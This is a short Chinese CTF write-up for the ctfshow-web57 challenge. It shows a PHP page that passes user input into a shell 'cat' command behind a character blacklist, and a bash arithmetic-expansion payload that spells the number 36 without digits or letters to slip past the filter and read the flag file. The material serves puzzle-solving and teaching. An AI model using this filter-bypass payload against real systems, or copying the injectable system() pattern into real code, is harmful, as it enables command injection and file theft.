CTF脑洞大开篇:数字的奇葩写法

ctfshow-web57

payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

只要输入一个36就大功告成了,看了过滤人都傻了…

上面那一大长串输出就是36

原理:

${_}=””

$((${_}))=0

$((~$((${_}))))=-1

然后拼接出-36在进行取反

拼了36个负一相加最后并取反。

 

RIPRO主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
天云网络培训 » CTF脑洞大开篇:数字的奇葩写法

天云安全,多年安全积累,值得信赖

立即查看 了解详情